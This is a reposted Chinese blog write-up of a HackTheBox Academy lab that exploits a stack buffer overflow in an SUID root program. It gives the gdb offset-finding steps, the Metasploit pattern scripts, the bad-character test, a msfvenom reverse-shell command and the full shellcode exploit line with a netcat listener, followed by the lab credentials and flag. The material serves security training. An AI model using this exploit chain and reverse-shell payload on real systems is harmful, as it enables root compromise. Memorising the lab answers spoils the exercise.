主頁 >  其他 > HTB ACADEMY-Stack-Based Buffer Overflows on Linux x86 WRITE UP

HTB ACADEMY-Stack-Based Buffer Overflows on Linux x86 WRITE UP

2023-05-19 09:09:11 其他

We were able to gain SSH access to a Linux machine whose password was reused by another machine during our penetration test.
On this machine, we have a standard user "htb-student" who can leave a message to the administrator using a self-written program called "leave_msg." Since the target company pays a lot of attention to defense from outside their network, and the administrator's appearance showed high self-confidence, it may indicate that local security was disregarded.
After our research, we found out that these messages are stored in "/htb-student/msg.txt," which is binary owned by the user root, and the SUID bit is set.
Examine the program and find out if it is vulnerable to a Stack-Based Buffer Overflow. If you have found the vulnerability, then use it to read the file "/root/flag.txt" placed on the system as proof.

思路:這是一個假設的情景,目標主機存在一個叫做“leave_msg”的自研程式,該程式帶參運行后會把留言寫入到“msg.txt”檔案中,而"leave_msg"檔案設定了SUID位且該檔案屬主是root最高權限,

Linux權限 說明
SUID 特殊權限,在其他用戶執行該腳本檔案時,此用戶的權限是該腳本檔案屬主的權限
GUID 執行此腳本檔案的用戶將具有該檔案所屬用戶組中用戶的權限

所以,我們作為普通用戶可以利用SSH遠程登錄到目標主機,然后利用“leave_msg”程式緩沖區溢位漏洞向“msg.txt”檔案寫入并運行反向shell,從而獲得root權限,

準備作業

  • 基本資訊
  1. 操作物件:Vmware Station(Kali-Linux)
  2. 目標實體物件:ssh/10.129.42.191/htb-student/HTB_@cademy_stdnt!

我們利用SSH遠程登錄上去查看一下狀況,首先可以看到有提到的“leave_msg”和“msg.txt”這兩個檔案,并且"leave_msg"檔案設定了SUID位且該檔案屬主是root最高權限,其次,我們作為普通用戶沒有權限查看到“/root/flag.txt”的內容,

ssh [email protected]
ls -al
cd /root

image

第一個問題

Determine the file type of "leave_msg" binary and submit it as the answer.

這個問題沒有給回答的格式屬實有點腦殘,我們可以得到一長串對于檔案型別的描述,但是我試了好幾個都錯誤,最后不得不去HTB社區求助,

file leave_msg

image

答案:ELF 32-bit

第二個問題

How many bytes in total must be sent before reaching EIP?

首先我們把“leave_msg”這個程式檔案放到GDB進行除錯,

gdb -q leave_msg

image

進入除錯模式后,我們接下來需要不斷向堆疊中填充垃圾字符,直到程式報資料段錯誤(Segmentation fault),表明我們填充的垃圾字符已經影響到了EIP,
image

run $(python -c "print '\x55'*2000")
run $(python -c "print '\x55'*2100")

可以看到當我們填充2100個垃圾字符時出現資料段錯誤,而填充2000個字符無錯誤,所以從ESP到EIP之間需要填充的字符數量在2000-2100之間,
image

為了得到準確的位元組數量,我們使用Metasploit Framework(MSF)名為“pattern_create”的Ruby腳本來生成長度為2100的字串,如下圖所示,

/usr/share/metasploit-frame/tools/exploit/pattern_create.rb -l 2100 > pattern.txt
cat pattern.txt

image

然后我們把生成的字串作為垃圾字符填充到“leave_msg”程式內,

run $(python -c "print 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp'")

image

填充后查看EIP,如下圖所示,EIP=0x37714336,

info registers

image

我們配合使用Metasploit Framework(MSF)名為pattern_offset”的Ruby腳本來計算準確數量,如下圖所示,可以得知從ESP到EIP之間準確的字符偏移量為2060,

/usr/share/metasploit-frame/tools/exploit/pattern_offset.rb -q 0x37714336

image

答案:2060

第三個問題

Submit the size of the stack space after overwriting the EIP as the answer. (Format: 0x00000)

按照上一個問題得到的結果,我們填充2060個垃圾字符(\x55),然后EIP填充4個垃圾字符(\x66),填充后查看暫存器,EIP=0x666666,

run $(python -c print"'\x55'*2060 + '\x66'*4")
info registers

image

問題需要我們去得到填充完之后堆疊空間大小,下圖可以看到堆疊空間大小為0X22000,

info proc all

image

答案:0x22000

第四個問題

Read the file "/root/flag.txt" and submit the content as the answer.

首先我們要識別保留字符或者叫無效字符(bad characters),先在呼叫leavemsg函式處設定斷點,避免我們填充中包含的無效字符使得程式意外中斷并報錯,

break leavemsg

image

這時我們稍微計算一下,如下表所示,并將字母串列(character list)填充進去,

Buffer "\x55" * (2060 - 256)
CHARS "……"
EIP "\x66" * 4
run $(python -c 'print "\x55" * (2060 - 256) + "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" + "\x66" * 4')

image

填充后我們查看堆疊,并找到字母串列的起始點,可以看到保留字符有"0x00"、"0x09"、"0x0a"、"0x20",

x/2000xb $esp+2200

image
image

得到保留字符(bad character)后,我們使用msfvenom來生成反向shell腳本(shellcode),可以看到生成的負載大小為95位元組,

msfvenom -p linux/x86/shell_reverse_tcp lhost=127.0.0.1 lport=31337 --format c --arch x86 --platform linux --bad-chars "\x00\x09\x0a\x20" --out shellcode
cat shellcode

image

我們再次稍微計算一下,如下表所示,將表內shellcode等內容填充后,我們查看堆疊,找到shellcode的起始位置為0xffffd73c,

Buffer "\x55" * (2060 - 100 - 95)
NOPS "\x90" * 100
Shellcode "..."
EIP "\x66" * 4
run $(python -c 'print "\x55" * (2060 - 95 - 100) + "\x77"*100 + "\xd9\xca\xd9\x74\x24\xf4\xb8\xc7\x14\xdf\xb5\x5e\x31\xc9\xb1\x12\x31\x46\x17\x83\xee\xfc\x03\x81\x07\x3d\x40\x3c\xf3\x36\x48\x6d\x40\xea\xe5\x93\xcf\xed\x4a\xf5\x02\x6d\x39\xa0\x2c\x51\xf3\xd2\x04\xd7\xf2\xba\xe9\x27\x05\x3b\x7e\x2a\x05\x41\x17\xa3\xe4\x05\x81\xe3\xb7\x36\xfd\x07\xb1\x59\xcc\x88\x93\xf1\xa1\xa7\x60\x69\x56\x97\xa9\x0b\xcf\x6e\x56\x99\x5c\xf8\x78\xad\x68\x37\xfa" + "\x66" * 4')

image
image

我們這時候重新ssh遠程連接建立新視窗,在新視窗上啟用netcat監聽本地31337埠,等待反向shell主動連接,

nc -nlvp 31337

image

我們帶參運行“leave_msg”程式,

注意:

  1. NOPS必須用"\x90"填充,這意味著nop指令,即空指令,我之前由于疏忽,一直用垃圾字符"\x77"填充導致一直無法正常連接上反向shell,
  2. 更改EIP值,也就是NOPS的任何一個起始值(必須在shellcode前面),并且EIP需要倒寫(和大小端有關),
./leave_msg $(python -c 'print "\x55" * (2060 - 95 - 100) + "\x90"*100 + "\xdb\xd6\xbd\x57\x52\x92\xf2\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1\x12\x31\x6e\x17\x83\xc6\x04\x03\x39\x41\x70\x07\xf4\xbe\x83\x0b\xa5\x03\x3f\xa6\x4b\x0d\x5e\x86\x2d\xc0\x21\x74\xe8\x6a\x1e\xb6\x8a\xc2\x18\xb1\xe2\xab\xda\x41\xf3\x3b\xd9\x41\x89\xd2\x54\xa0\xdd\x43\x37\x72\x4e\x3f\xb4\xfd\x91\xf2\x3b\xaf\x39\x63\x13\x23\xd1\x13\x44\xec\x43\x8d\x13\x11\xd1\x1e\xad\x37\x65\xab\x60\x37" + "\x2c\xd7\xff\xff"')

image

這時候我們監聽的視窗有了反應,我們成功拿到了root權限,然后就可以隨意訪問"/root/flag.txt"的內容,

image
image

答案:HTB{wmcaJe4dEFZ3pbgDEpToJxFwvTEP4t}

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/552852.html

標籤:其他

上一篇:如何在金融企業推進故障演練?中國人壽分階段實踐總結

下一篇:返回列表

標籤雲
其他(159310) Python(38156) JavaScript(25435) Java(18070) C(15228) 區塊鏈(8267) C#(7972) AI(7469) 爪哇(7425) MySQL(7197) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5871) 数组(5741) R(5409) Linux(5340) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4573) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2433) ASP.NET(2403) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) .NET技术(1975) 功能(1967) Web開發(1951) HtmlCss(1938) python-3.x(1918) C++(1917) 弹簧靴(1913) xml(1889) PostgreSQL(1878) .NETCore(1861) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • HTB ACADEMY-Stack-Based Buffer Overflows on Linux x86 WRITE

    We were able to gain SSH access to a Linux machine whose password was reused by another machine during our penetration test. On this machine, we have ......

    uj5u.com 2023-05-19 09:09:11 more
  • 如何在金融企業推進故障演練?中國人壽分階段實踐總結

    一分鐘精華速覽 越來越多企業正在通過故障注入和演練的方式提升系統可靠性,這其中金融行業的應用較為特殊。一方面其可靠性要求比非涉賬類系統更高;另一方面金融行業有更加嚴格的監管要求,如客戶、賬目等資訊都有嚴格約束。加之金融系統較其他行業系統更加龐大、繁雜,所以金融行業落地混沌工程和故障演練等作業需尤為謹 ......

    uj5u.com 2023-05-19 09:08:21 more
  • 工控老曹說——TSN標準化如何賦能多領域以太網新發展

    網路通信已經成為現代社會中不可或缺的一部分。然而,在某些領域,例如工業自動化、機器人控制和視頻監控等實時應用對通信的要求更高,需要實時傳輸大量資料并確保其可靠性和準確性。傳統的網路技術在這些高要求的應用場景下表現不佳,往往難以滿足實時應用的需求。因此,時間敏感網路(TSN)技術的出現解決了這個問題。 ......

    uj5u.com 2023-05-19 09:08:01 more
  • Django SQL注入漏洞復現 (CVE-2022-28347)

    在Django 2.2 的 2.2.28 之前版本、3.2 的 3.2.13 之前版本和 4.0 的 4.0.4 之前版本中的 QuerySet.deexplain() 中發現了SQL注入問題。這是通過傳遞一個精心編制的字典(帶有字典擴展)作為**options引數來實作的,并將注入負載放置在選項名... ......

    uj5u.com 2023-05-19 09:07:35 more
  • SRE方法論之擁抱風險

    一、系統不可能100%可靠 系統不可能100%可靠,人都不可能100%健康,更何況我們人類創造的系統?所以,任何軟體系統都不應該一味地追求 100%可靠。事實證明,可靠性超過一定值后,再提高可靠性對于一項服務來說,結果可能會更差而不是更好!極端的可靠性會帶來成本的大幅提升:比如過分追求穩定性限制了新 ......

    uj5u.com 2023-05-19 09:06:57 more
  • 記一次排查:介面回傳值寫入excel后,從單元格copy出來的資料會帶有

    在專案里剛好有3個服務,同一個網關內層的3個服務,兩個php的,一個golang的,為了提高負載以及進行分流,部分客戶的介面呼叫會被網關自動分配到go服務。 恰好為了測驗,我寫了一個全量用戶的生產、測驗環境呼叫介面回傳結果進行對比的腳本,于是發現了題中的問題:兩個php服務里的介面回傳值寫入xlsx ......

    uj5u.com 2023-05-19 09:06:45 more
  • 城市開發者平臺:程式員成長和創新的“家園”

    摘要:華為云與CSDN攜手共同打造城市開發者綜合服務平臺,不僅能夠為廣大程式員提供更好的技術支持和服務,也在當地政府的人才政策幫扶下,為開發者的技術創新和人才培養提供更好的作業學習平臺,在本地扎根發展。 本文分享自華為云社區《華為云與CSDN攜手打造城市開發者綜合服務平臺》,作者:于邦旭 CSDN高 ......

    uj5u.com 2023-05-19 09:06:32 more
  • 更專業省心的來了,你沒必要研究UE4和Unity官方推流了!

    在當今互聯網時代,所有的內容制作者都希望盡可能觸達到更多的目標受眾,那就需要全平臺發布內容并且可以輕松跨平臺分享,包括手機、平板電腦、個人電腦以及互動式螢屏,用戶能暢快的獲得高質量的體驗。需求催生了一種新的“云渲染”方案,將龐大負載的“渲染”放到云端強大算力的服務器去執行,前端僅僅是展示和互動。
    本... ......

    uj5u.com 2023-05-19 09:06:21 more
  • 應用現代化中的彈性伸縮

    作者:馬偉,青云科技容器顧問,云原生愛好者,目前專注于云原生技術,云原生領域技術堆疊涉及 Kubernetes、KubeSphere、KubeKey 等。 2019 年,我在給很多企業部署虛擬化,介紹虛擬網路和虛擬存盤。 2023 年,這些企業都已經上了云原生了。對于高流量的 Web 應用程式,實時數 ......

    uj5u.com 2023-05-19 09:05:01 more
  • 常用的表格檢測識別方法-表格區域檢測方法(上)

    表格檢測識別一般分為三個子任務:表格區域檢測、表格結構識別和表格內容識別。本章將圍繞這三個表格識別子任務,從傳統方法、深度學習方法等方面,綜述該領域國內國外的發展歷史和最新進展,并提供幾個先進的模型方法。 ......

    uj5u.com 2023-05-19 09:03:36 more